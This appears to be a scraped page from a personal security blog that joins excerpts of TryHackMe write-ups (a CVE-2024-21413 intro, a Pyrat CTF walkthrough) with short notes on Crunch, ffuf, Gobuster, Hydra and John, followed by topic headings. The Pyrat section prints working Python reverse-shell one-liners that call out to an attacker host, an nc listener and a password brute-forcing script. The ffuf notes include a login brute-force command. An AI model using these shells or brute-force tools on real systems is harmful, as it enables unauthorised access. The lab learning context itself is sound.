This is a writeup for the MonikerLink room on tryhackme, which explores CVE-2024-21413 - a critical vulnerability in Mircrosoft outlook that allows remote code execution via malicious hyperlinks.

What is CVE-2024-21413?

CVE-2024-21413 is a vulnerability in Microsoft outlook that bypasses protected view by usin ga specially crafted file:// URL with a ! character. When a victim clicks thelink, it can leak NTLM credentials or execute code.

Exploit Script

The following python script sends a phishing email with a malicious link to trigger the vulnerability

Pyrat CTF - Reverse shell - tryhackme

Sat, 25 Jan 2025 00:00:00 +0000

scanned the ports with nmap using /usr/lib/nmap/nmap -sS -sC -A --script vuln -oN pyrat.nmap 10.49.176.74
22, 8000 open
didnt see any suspicious at the web server, just giving a simple text
connectted to http server through telnet and tried for the reverse shell, and thought it may work

Task 1.0

telnet attack_ip 8000
# Its executiting the python instructions. so, i intially tried a direct reverse shell, like below, but it never worked
# import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")
# then i tried with python single instruction without pty. and turns out it worked and got reverse shell on my listener (eg: nc -lvnp 4444)
import socket, os, pty; (lambda s: (s.connect(("192.168.205.164", 4444)), [os.dup2(s.fileno(), f) for f in (0, 1, 2)], pty.spawn("bash")))(socket.socket())
or
import socket, os; (lambda s: (s.connect(("192.168.205.164", 4444)), [os.dup2(s.fileno(), f) for f in (0, 1, 2)], os.system("/bin/bash")))(socket.socket()) # worked

Task 1.1

# listener side
nc -lvnp 4444
# tried by seeing any suid binary, but its unlucky
# find / -perm /4000 2>/dev/null
# after regouroous search, got a liitle insight, turns out its password for the think user

# make a better shell, intearactive
SHELL=/bin/bash script -q /dev/null
#or
#stty raw -echo && fg

# find the pass
cd /opt/dev/.git; cat config

Task 2

# tried to ssh the attack machine with the think user
ssh think@attack_ip 
cat user.txt

Task 3

when we tried to connect to the http server, it seems like its asking credentials.
i have tried entering the ‘admin’, it turns out asking the password.
by taking this as chance, why cant i bruteforce

# pyrat.py file
import socket
target_ip = "10.48.128.93" # Target IP {CHANGE THIS}
target_port = 8000 # Target port
password_wordlist = "/usr/share/wordlists/rockyou.txt"

def connect_and_send_password(password):
 try:
 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 client_socket.connect((target_ip, target_port))
 client_socket.sendall(b'admin\n')

 response = client_socket.recv(1024).decode()
 print(f"Server response after sending 'admin': {response}")
 
 if "Password:" in response:
 print(f"Trying password: {password}")
 client_socket.sendall(password.encode() + b"\n")
 
 response = client_socket.recv(1024).decode()

 if "success" in response.lower() or "admin" in response.lower():
 print(f"Server respondse for password '{password}': {response}")
 return True
 
 else:
 print(f"Passwsd wrong")
 return False
 except Exception as e:
 print(f"Error: {e}")
 return False
 
 finally:
 client_socket.close()


def fuzz_words():
 with open(password_wordlist, 'r', encoding="latin-1") as f:
 passwords = f.readlines()
 
 for password in passwords:
 password = password.strip()
 
 if connect_and_send_password(password):
 print(f"Found correct password {password}")
 break
 else:
 print(f"wrong pass, {password}, reconnecting...")

fuzz_words()

python3 pyrat.py # --> will give pass for the web shell
nc attack_ip 8000
> admin
> Password: abc123

Crunch

Sat, 20 Jan 2024 00:00:00 +0000

Crunch can generate all possible combinations and permutations according to given criteria.
Basic Usage: crunch <min> <max> [options]
min and max are minimu and maximum length of string you want the cruch to start.
You can usually find the charset.lst file in the /usr/share/crunch directory if you have Crunch installed on your system.

Examples

# Example1: Crunch displays a wordlist that starts at `a` and ends at `zzzzzzzz`
crunch 1 8


# Example2: Crunch display a wordlist using character set `abcdefg` that starts at `a` and ends at `gggggg`
crunch 1 6 abcdefg


# Example3: there is a space at the end of the character string.
# inorder for crunch to use the space you will need to escape it using the `\` character. In this exampleyou could also put quotes around the letter and not need the `\`. i.e. "abcdefg ".
cruch 1 6 abcdefg\


# Example4: crunch will use the mixalpha-numeric-all-space character set from charset.lst and will write the wordlist to a file named wordlist.txt. The file will start witl `a` and end with " ".
cruch 1 8 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o wordlist.txt


#Example5: Now same as above, but we use patten to filter out.
# now file start at `cbddogaaa` and end at ` dog `
# -t --> to specify the pattern
# -s --> Specifies a starting string
crunch 8 8 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdogaaa


# Example 7. The numbers aren't processed but are needed:
#When you use the -p flag with characters, Crunch focuses on permutations of the specified string for all possible lengths. ( no repetition of charaters)
cruch 4 5 -p abc

# Example8: crunch will generate bzip2 compressed files with each file containing 6000 words.
# -c 6000: This option defines the number of words that will be written to the output file at a time.
# wordlist.txt is bzip compressed, uncompress it with bzip2 -d wordlist.txt
crunch 1 5 -o wordlist.txt -c 6000 -z bzip2


#Example 10. will generate 4 files: aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt the first three files are 20MBs (real power of 2 MegaBytes) and the last file is 11MB.
crunch 4 5 -b 20mib -o wordlist.txt

FFUF (Fuzz faster you fool)

Sat, 20 Jan 2024 00:00:00 +0000

A fast web fuzzer written in Go.

Wordlists

Typical fuzzing

ffuf -u 'http://10.49.149.19:1337/' -d 'email=tester%40hammer.thm&password=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.49.149.19:1337' -H 'Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9' -w /usr/share/wordlists/rockyou.txt -t 1000 -fr 'Invalid Email or Password!'

Typical directory discovery

ffuf -w wordlist.txt -u 'https://ffuf.io.fi/FUZZ'

Custom FUZZ keyword example

ffuf -w wordlist.txt:MYCUSTOMKEYWORD -u 'https://ffuf.io.fi/MYCUSTOMKEYWORD'

Multi-wordlist example

ffuf -w domains.txt:DOMAIN -w wordlist.txt:WORD -u 'https://DOMAIN/WORD'

Multi-wordlist clusterbomb example

This is the default mode for multi-wordlists, and is active if no other -mode is selected.
First word of first wordlist is tested against all the words from the second wordlist before moving along to test the second word in first wordlist against all the words in the second wordlist.
ffuf -mode clusterbomb -w domains.txt:DOMAIN -w wordlist.txt:WORD -u 'https://DOMAIN/WORD'

GoBuster

Sat, 20 Jan 2024 00:00:00 +0000

Gobuster is an open-source offensive tool written in Golang.
It enumerates web directories, DNS subdomains, vhosts, Amazon S3 buckets, and Google Cloud Storage by brute force, using specific wordlists and handling the incoming responses.
Enumeration is the act of listing all the available resources, whether they are accessible or not. For example, Gobuster enumerates web directories.
Brute-force is the act of trying every possibility until a match is found. It is like having ten keys and trying them all on a lock until one fits. Gobuster uses wordlists for this purpose.

GoBuster Operation modes

 dir - Uses directory/file enumeration mode
 dns - Uses DNS subdomain enumeration mode
 fuzz - Uses fuzzing mode. Replaces the keyword FUZZ in the URL, Headers and the request body
 vhost Uses VHOST enumeration mode (you most probably want to use the IP address as the URL parameter)
 gcs - Uses gcs bucket enumeration mode
 s3 - Uses aws bucket enumeration mode

Directory Enumeration

Directory enumeration, with 64 threads
gobuster dir -u "http://www.example.thm/" -w /usr/share/wordlists/dirb/small.txt -t 64

Hashcat

Sat, 20 Jan 2024 00:00:00 +0000

hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms.

Hydra

Sat, 20 Jan 2024 00:00:00 +0000

Hydra is a brute force online password cracking program, a quick system login password “hacking” tool.
According to its official repository, Hydra supports, i.e., has the ability to brute force the following protocols:
- Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, TeamSpeak (TS2), Telnet, VMware-Auth, VNC, and XMPP.
Please have a look hydra options we have

John the Ripper

Sat, 20 Jan 2024 00:00:00 +0000

John the Ripper is a well-known, well-loved, and versatile hash-cracking tool. It combines a fast cracking speed with an extraordinary range of compatible hash types.

Basics

Hash: A hash is a way of taking a piece of data of any length and representing it in another fixed-length form. This process masks the original value of the data. The hash value is obtained by running the original data through a hashing algorithm. Many popular hashing algorithms exist, such as MD4, MD5, SHA1 and NTLM. Let’s try and show this with an example:

Showcase

Mon, 11 Mar 2019 00:00:00 +0000

This article offers a sample of basic Markdown syntax that can be used in Hugo content files, also it shows whether basic HTML elements are decorated with CSS in a Hugo theme.

Home on Silent Resistor

Weaponization

Windows Script Host (WSH)

An HTML Application (HTA)

Reverse HTA Connection

Visual Basic for Applications (VBA)

Powershell

Delivery Techniques

Email Delivery

Web Delivery

USB Delivery

Authentication

Authentication Enumerations

Enumerating Users via Verbose errors

Exploiting Vulnerable Password Reset Logic

Password Reset Flow Vulnerabilities

OSINT

What the shell??

Phishing

Intro to Phishing..

Writing Convincing Phishing Emails

Advanced SQL Injections

Recap Basics

In-band SQL Injection

Inferential (Blind) SQL Injection

Out-of-band SQL Injection

Second-Order SQL Injection

NMAP (Network Mapper)

NMAP (Network Mapper) Host Discovery

Host Discovery Using ARP :

Host Discovery Using ICMP:

Host Discovery Using TCP and UDP:

Reverse DNS Lookup:

Nmap Basic Port Scans

Fine-Tuning Scope and Performance

Ports

scan timing

NMAP Advanced Port-scans:

Popular TCP Scans:

Spoofed IP Address:

Fragmented Packets:

Idle/Zombie Scan:

Getting more details:

NMAP Post port scans

Service Detection:

OS Detection and traceroute:

Nmap scripting engine

Saving the Output:

Reconissance

Passive Reconnaissance:

Whois:

nslookup (name server lookup):

dig (Domain Information Grouper):

How to discover subdomains of particular domain:

Active reconnaissance

Web browser:

Ping:

tracroute (tracert in windows):

Telnet:

nmap:

The Lay of the Land

Introduction

Network Infrastructure

Internal Networks

A Demilitarized Zone (DMZ)

Network Enumeration

Active Directory (AD) Environment

No SQL Injections

Introduction

No-SQL Injection

Log-in as other users

Extracting User’s Passwords

Web Fundamentals

Manual - Favicon

Manual - Sitemap.xml

Manual - HTTP Headers

Manual - OSINT - Wappalyzer

OSINT - S3 Buckets

OSINT - SSL/TLS Certificates

Enumeration